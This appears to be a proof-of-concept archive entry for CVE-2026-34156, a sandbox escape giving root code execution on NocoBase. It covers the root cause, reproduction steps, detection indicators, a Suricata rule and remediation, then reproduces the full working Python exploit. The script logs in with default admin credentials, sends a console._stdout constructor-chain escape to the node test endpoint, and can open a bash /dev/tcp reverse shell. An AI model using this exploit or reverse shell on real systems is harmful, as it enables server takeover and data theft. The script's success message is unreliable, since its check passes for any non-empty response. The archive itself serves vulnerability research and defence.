PoC Archive PoC Archive
CVE-2026-34156 category: web CVSS 9.9 (CRITICAL)
Patched

NocoBase Workflow Script Node vm Sandbox Escape to Root RCE (CVE-2026-34156)

Published: 2026-11-27 • Researcher: Ashraf Zaryouh (0xBlackash), per the script banner; the repository is published under the GitHub account Dhananjayasj

Target software NocoBase, an AI-powered no-code/low-code platform, specifically the workflow engine Script Node and its Node.js vm sandbox
Affected versions NVD: NocoBase prior to 2.0.28. The upstream README states versions up to 2.0.26; 2.0.27 is not explicitly named by either source.
Status PoC (the sandbox escape payload is genuine and complete, but the node-test delivery path is unverified, success detection is weak and no successful run is documented)
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-34156
Category
web
Affected product
NocoBase, an AI-powered no-code/low-code platform, specifically the workflow engine Script Node and its Node.js vm sandbox
Affected versions
NVD: NocoBase prior to 2.0.28. The upstream README states versions up to 2.0.26; 2.0.27 is not explicitly named by either source.
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-06-02 (upstream commit 9e7b82c87cc2f62160a044a29cf5eb90d099cd30, “Create README.md”)
Author / ResearcherAshraf Zaryouh (0xBlackash), per the script banner; the repository is published under the GitHub account Dhananjayasj
CVE / AdvisoryCVE-2026-34156
Categoryweb
SeverityCritical
CVSS Score9.9 (CVSSv3.1, AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, NVD record). The upstream README badge label reads 8.8 High, but the vector printed next to it evaluates to 9.9 and matches the NVD score.
StatusPoC (the sandbox escape payload is genuine and complete, but the node-test delivery path is unverified, success detection is weak and no successful run is documented)
Tagsnocobase, nodejs, vm-sandbox-escape, workflow, script-node, authenticated, rce, cwe-913, prototype-chain, container-root
RelatedN/A

Affected Target

FieldValue
Software / SystemNocoBase, an AI-powered no-code/low-code platform, specifically the workflow engine Script Node and its Node.js vm sandbox
Versions AffectedNVD: NocoBase prior to 2.0.28. The upstream README states versions up to 2.0.26; 2.0.27 is not explicitly named by either source.
Language / PlatformNode.js server executing JavaScript workflow scripts; the archived PoC is Python 3
Authentication RequiredYes — any authenticated user able to create and execute a workflow Script Node (the script defaults to the seeded admin account)
Network Access RequiredYes — HTTP/HTTPS access to the NocoBase API (default port 13000)

Summary

NocoBase executes user-supplied workflow Script Node JavaScript inside a Node.js vm sandbox that is supposed to restrict which modules the script may require. However, the console object placed into the sandbox exposes host-realm writable stream objects through its stdout and stderr members. An authenticated user can walk from those host objects through their constructors back into the host Function constructor, recover the process object and load the child process module to run arbitrary operating system commands. The published script builds exactly that escape and posts it to the workflow node test endpoint; NocoBase fixed it in version 2.0.28, and exploitation gives remote code execution as root inside the container, with full host compromise if the container is privileged.

Vulnerability Details

Root Cause

The Workflow Script Node runs attacker-controlled JavaScript in a Node.js vm context and restricts imports with a custom require allowlist controlled by the WORKFLOW_SCRIPT_MODULES environment variable (CWE-913, Improper Control of Dynamically-Managed Code Resources). The sandbox context also receives a console object, and console._stdout and console._stderr are host-realm WritableWorkerStdio stream instances rather than sandbox-realm objects. Because the constructor chain of a host object terminates in the host realm Function constructor, a script can call console._stdout.constructor.constructor("return process")() to obtain the real process object, then process.mainModule.require("child_process") to load a module that the require allowlist was meant to block. From there execSync runs shell commands with the privileges of the Node.js server process, which the advisory describes as root.

Attack Vector

An authenticated HTTP flow. The archived script first posts credentials to /api/auth:signIn and takes the bearer token, then posts a JSON body of the form {"type":"script","config":{"script":<payload>},"upstreamResult":{}} to /api/flow_nodes:test. In a real deployment the same JavaScript is placed in a Script Node of a workflow and the workflow is triggered. The escape itself needs no memory corruption, race or user interaction; it is a short pure-JavaScript prototype-chain walk.

Impact

Remote code execution as root inside the NocoBase container. An attacker can read application data and secrets, modify or delete records, reach internal services from the container network and, where the container is privileged, mounted with host paths or running with host networking, escape to the underlying host. The advisory notes that the affected configuration is the default for a workflow-enabled instance.

Environment / Lab Setup

Output
OS:          Linux attacker host (Python 3.8+); target NocoBase container
Target:      NocoBase < 2.0.28, e.g. 2.0.26, workflow plugin enabled,
             reachable on the default HTTP port 13000
Attacker:    Python 3 with requests; netcat for the reverse-shell variant
Tools:       requests, curl, nc

Setup Steps

Shell script
1
curl -s http://127.0.0.1:13000/api/app:getInfo

The default credentials used by the script are admin@nocobase.com / admin; change them in any non-lab deployment and pass real values with -e and -p. The workflow plugin must be enabled, and the account must be permitted to create or test workflow nodes.

Proof of Concept

Step-by-Step Reproduction

  1. Install the dependency — the script only needs requests.

    Shell script
    1
    
    python3 -m pip install requests
  2. Run a single command — the script logs in, builds the escape payload and posts it to the node test endpoint.

    Shell script
    1
    2
    3
    4
    
    python3 CVE-2026-34156.py \
        -u http://127.0.0.1:13000 \
        -e admin@nocobase.com -p admin \
        -c id
  3. Or request a reverse shell — start a listener first, then pass the callback address.

    Shell script
    1
    2
    
    nc -lvnp 4444
    python3 CVE-2026-34156.py -u http://127.0.0.1:13000 -r 10.0.0.5:4444
  4. Confirm execution — the HTTP response may or may not carry the command output depending on the build. Confirm with the reverse-shell connection, the container process tree or the container logs rather than trusting the script’s success message alone.

Exploit Code

See CVE-2026-34156.py in this folder. The upstream README is upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
payload = """
const escape = console._stdout.constructor.constructor("return process")();
const child_process = escape.mainModule.require("child_process");
child_process.execSync(`id`, {encoding: "utf8"});
"""

session.post(f"{base_url}/api/flow_nodes:test", json={
    "type": "script",
    "config": {"script": payload},
    "upstreamResult": {},
}, headers={"Authorization": f"Bearer {token}"}, verify=False)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
================================================================================
     CVE-2026-34156  PoC  —  NocoBase Sandbox Escape to Root RCE
                  Author: Ashraf Zaryouh / 0xBlackash
================================================================================

[*] Target: http://127.0.0.1:13000
[*] Logging in...
[+] Login successful
[*] Preparing sandbox escape payload...
[*] Executing command: id
[+] Exploit sent successfully!
[+] Response: {"data": ...}

The last two lines are printed for any 2xx response with a non-empty body, so they are a delivery indicator and not proof of execution. A successful escape shows the command effect instead: a shell on the listener, uid=0(root) in container logs or a process spawned by the Node.js worker.

Detection & Indicators of Compromise

Output
POST /api/flow_nodes:test with a JSON body containing script config
POST /api/auth:signIn from unexpected sources followed by workflow node tests

console._stdout        console._stderr        constructor.constructor
process.mainModule    require("child_process")    execSync

Node.js worker processes spawning sh, bash, curl, wget or reverse-shell binaries
New outbound TCP connections from the NocoBase container to unexpected hosts
Unexpected writes under /tmp or the application data directory

Search workflow and flow-node records for scripts that reference _stdout, _stderr, constructor.constructor or mainModule, since a persisted malicious workflow can be triggered later without repeating the API call.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible CVE-2026-34156 NocoBase sandbox escape payload"; flow:to_server,established; content:"/api/flow_nodes:test"; http_uri; content:"constructor.constructor"; http_client_body; nocase; sid:90341560; rev:1;)

Remediation

ActionDetail
PatchUpgrade NocoBase to 2.0.28 or later; the fix is in pull request 8967 and the 2.0.28 release.
WorkaroundDisable the workflow Script Node for untrusted roles, restrict workflow creation to a small administrator group, and remove or audit existing script nodes.
Config HardeningRun the NocoBase container as a non-root user with a read-only root filesystem and no host mounts, apply egress filtering, keep WORKFLOW_SCRIPT_MODULES as narrow as possible (it limits imports but does not prevent this escape by itself), and monitor workflow records for injected JavaScript.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/Dhananjayasj/CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability- (no stars at review time, a single Python script plus a README).

Review verdict: ingested as a PoC. It is a real exploit rather than a detector: the vm escape itself is the correct host-realm constructor walk, it authenticates to the real API and it delivers the payload to a workflow node endpoint. It is not a scanner, a version check, a placeholder or a malware framework, and it contains no persistence, C2, evasion or credential-stealing code.

Attribution / provenance: the script banner and the embedded GitHub link credit Ashraf Zaryouh (0xBlackash) and point at github.com/0xBlackash/CVE-2026-34156, while the repository that was reviewed lives under the account Dhananjayasj and the commit author is DHANANJAY S. The code therefore appears to be a republished or mirrored copy of another researcher’s PoC, and the original authorship cannot be confirmed from this repository alone. The upstream README is also truncated mid-code-block at the installation section, and was copied verbatim as upstream-README.md to preserve that state.

License: the repository declares no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived files keep the original attribution and add only a short research-use header.

Limitations: the script posts directly to /api/flow_nodes:test and does not create a workflow or add a Script Node, despite its own comment that a real attack creates the workflow through the UI or API; whether that endpoint accepts this body on a given build is unverified. Its success check if "stdout" in resp.text or resp.text is always true for a non-empty body, so a 200 response prints the success message regardless of whether the script ran. The login endpoint, token field and default credentials are hardcoded assumptions. Reverse-shell mode builds a bash /dev/tcp command without quoting the address. No exploit code was executed while preparing this entry, so the status is PoC rather than Weaponized. The CVSS badge in the upstream README is internally inconsistent as noted in the metadata table.

CVE-2026-34156.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Dhananjayasj/CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability-
# Original attribution: Ashraf Zaryouh / 0xBlackash (see README for attribution and license notes)

"""
CVE-2026-34156 PoC - NocoBase Workflow Script Node Sandbox Escape → Root RCE
github : https://github.com/0xBlackash/CVE-2026-34156

This script creates a workflow with a malicious JavaScript Script Node that escapes the vm sandbox
and executes arbitrary commands as root inside the container.

Requirements:
- Authenticated user with permission to create workflows (even low-privilege users often can)
- NocoBase version < 2.0.28

Usage:
  python3 CVE-2026-34156.py -u https://target.com -e "id"                    # Run single command
  python3 CVE-2026-34156.py -u https://target.com -r 192.168.1.100:4444     # Reverse shell
"""

import argparse
import requests
import json
import time
import sys
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class Colors:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

def banner():
    print(f"{Colors.BLUE}{'='*80}{Colors.RESET}")
    print("     CVE-2026-34156  PoC  —  NocoBase Sandbox Escape to Root RCE")
    print("                  Author: Ashraf Zaryouh / 0xBlackash")
    print(f"{Colors.BLUE}{'='*80}{Colors.RESET}\n")

def get_escape_payload(cmd: str) -> str:
    """The actual sandbox escape payload (3-line classic)"""
    # This escapes via console._stdout.constructor.constructor
    payload = f'''
const escape = console._stdout.constructor.constructor("return process")();
const child_process = escape.mainModule.require("child_process");
child_process.execSync(`{cmd}`, {{encoding: "utf8"}});
    '''.strip()
    return payload

def trigger_workflow(target, email, password, command, reverse=False):
    session = requests.Session()
    base_url = target.rstrip('/')

    print(f"{Colors.YELLOW}[*] Logging in...{Colors.RESET}")

    # Login (adjust if your instance uses different auth endpoint)
    login_data = {
        "email": email,
        "password": password
    }

    try:
        login_resp = session.post(f"{base_url}/api/auth:signIn", json=login_data, verify=False)
        if login_resp.status_code != 200:
            print(f"{Colors.RED}[-] Login failed: {login_resp.text}{Colors.RESET}")
            return False
        token = login_resp.json().get("data", {}).get("token", "")
        session.headers.update({"Authorization": f"Bearer {token}"})
        print(f"{Colors.GREEN}[+] Login successful{Colors.RESET}")
    except Exception as e:
        print(f"{Colors.RED}[-] Login error: {e}{Colors.RESET}")
        return False

    # Create malicious workflow payload (simplified - in real attack you create via UI or API)
    # Many instances expose /api/workflows or allow creating via flow_nodes:test endpoint
    print(f"{Colors.YELLOW}[*] Preparing sandbox escape payload...{Colors.RESET}")

    if reverse:
        # Example reverse shell using bash
        rev_cmd = f"bash -i >& /dev/tcp/{command.split(':')[0]}/{command.split(':')[1]} 0>&1"
        js_payload = get_escape_payload(rev_cmd)
        print(f"{Colors.YELLOW}[*] Setting up reverse shell to {command}{Colors.RESET}")
    else:
        js_payload = get_escape_payload(command)
        print(f"{Colors.YELLOW}[*] Executing command: {command}{Colors.RESET}")

    # The trigger point is usually sending the script to the workflow execution endpoint
    exploit_data = {
        "type": "script",
        "config": {
            "script": js_payload
        },
        "upstreamResult": {}
    }

    try:
        # Common execution endpoint for testing script nodes
        resp = session.post(f"{base_url}/api/flow_nodes:test", json=exploit_data, verify=False, timeout=15)
        
        if resp.status_code in [200, 201]:
            print(f"{Colors.GREEN}[+] Exploit sent successfully!{Colors.RESET}")
            if "stdout" in resp.text or resp.text:
                print(f"{Colors.BLUE}[+] Response: {resp.text[:500]}{'...' if len(resp.text)>500 else ''}{Colors.RESET}")
            return True
        else:
            print(f"{Colors.RED}[-] Unexpected response: {resp.status_code} - {resp.text[:300]}{Colors.RESET}")
            return False

    except Exception as e:
        print(f"{Colors.RED}[-] Exploit error: {e}{Colors.RESET}")
        return False

def main():
    banner()

    parser = argparse.ArgumentParser(description="CVE-2026-34156 NocoBase Root RCE PoC")
    parser.add_argument("-u", "--url", required=True, help="NocoBase base URL (e.g. https://nocobase.example.com)")
    parser.add_argument("-e", "--email", default="admin@nocobase.com", help="Login email")
    parser.add_argument("-p", "--password", default="admin", help="Login password")
    parser.add_argument("-c", "--command", help="Command to execute (e.g. 'id' or 'cat /etc/passwd')")
    parser.add_argument("-r", "--reverse", help="Reverse shell listener (IP:PORT)")

    args = parser.parse_args()

    if not args.command and not args.reverse:
        print(f"{Colors.RED}[-] You must provide either --command or --reverse{Colors.RESET}")
        sys.exit(1)

    target_cmd = args.reverse if args.reverse else args.command

    print(f"{Colors.BLUE}[*] Target: {args.url}{Colors.RESET}")
    trigger_workflow(args.url, args.email, args.password, target_cmd, reverse=bool(args.reverse))

    print(f"\n{Colors.YELLOW}Note: This PoC assumes you can create/execute a workflow Script Node.{Colors.RESET}")
    print(f"{Colors.YELLOW}If the UI blocks it, you may need to create the workflow manually and trigger it.{Colors.RESET}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Colors.RED}[!] Interrupted by user.{Colors.RESET}")
        sys.exit(0)